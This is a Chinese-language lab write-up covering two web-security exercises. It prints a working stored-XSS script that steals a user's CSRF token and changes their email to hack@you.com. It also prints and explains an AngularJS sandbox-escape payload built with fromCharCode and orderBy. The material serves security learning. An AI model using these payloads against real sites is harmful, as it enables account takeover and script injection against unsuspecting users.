Lab 24:利用 xss 绕过 csrf 防御
依然是留言板的问题可以执行<h1>
标签
进入修改邮箱的界面,修改抓包
这里构造修改邮箱的代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open('post', '/my-account/change-email', true);changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服务器发送 HTTP 请求,获取或提交数据。
req.open('get', '/my-account', true)发送 GET 请求到 /my-account 页面,获取用户的账户信息(包含 CSRF 令牌)
handleResponse 函数解析服务器返回的 HTML 内容,通过正则表达式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用窃取的 CSRF 令牌,构造 POST 请求到 /my-account/change-email,将用户邮箱修改为 hack@you.com
-->
Lab 25:无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS
当我们输入 1 时,看到我们输入的内容被放入$scope.query[key]
中,因为key='search'
,这里就是通过访问键值对的方式获取键的值。类似下面的代码
lab 中这段 js 关键部分在于$parse
的使用,$parse
是 angularJS 中用来将字符串解析为可执行函数,通过$parse(key)($scope.query)
将search
的值传给value
,通过{{value}}
显示到页面<h1>
标签中。
如何能控制key
,从而让$parse
执行我们输入的 key,可以尝试用&
继续添加参数测试
可以看到我们输入的第二组key:value
对出现了,我们可以控制key
angularJS 中,{{}}
表达式可以用来求值,如{{ 1+1 }}
可以得到 2,这里我们可以输入2+2=3
,+
需要 url 编码为%2B
经过测试,发现我们输入的key
被计算了,页面显示了 key
的计算结果,尝试输入 alert()
不能弹窗,因为这里存在沙箱机制,不允许运行此函数,这里需要绕过沙箱机制执行 alert
访问 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
可以看到关于 angularJS 绕过沙箱的好多方法
本 lab 给出的解决方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
这里通过toString().constructor.prototype.charAt=[].join
将原型污染,导致 charAt
返回整个字符串而非单个字符
fromCharCode(120,61,97,108,101,114,116,40,49,41)
解码后得到字符串:x=alert(1)
toString().constructor
指向Function
构造函数。
因此这部分等价于:Function("x=alert(1)")()
,即创建并执行一个包含x=alert(1)
的函数。
由于 charAt
被覆盖,isIdent()
在检查多字符输入(如 x=alert(1)
)时,实际比较的是整个字符串与单个字符的规则。根据逻辑,任何字符串(如 x=alert(1)
)都会被误判为合法标识符,导致 isIdent()
始终返回 true
isIdent = function(ch) {return ('a' <= ch && ch <= 'z' || // 小写字母'A' <= ch && ch <= 'Z' || // 大写字母'_' === ch || ch === '$'); // 下划线或美元符号
}
利用 orderBy
过滤器执行恶意表达式 x=alert(1)
[1] | orderBy:'x=alert(1)'
为方便理解请看下面示例代码
<head><script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl"><p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是传入的数据,orderBy后面是排序的依据,漏洞点就是这里传入了angularJS表达式函数被执行 -->
<script>var app = angular.module('myApp', []);app.controller('myCtrl', function($scope) {$scope.items = [{ price: 2.5 },{ price: 1.5 },{ price: 3.0 }];});
</script>
运行结果
生成字符串 "x=alert(1)"
,避免直接使用引号,通过 toString().constructor
访问 String
构造函数,绕过对 String.fromCharCode
的直接调用限制。
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d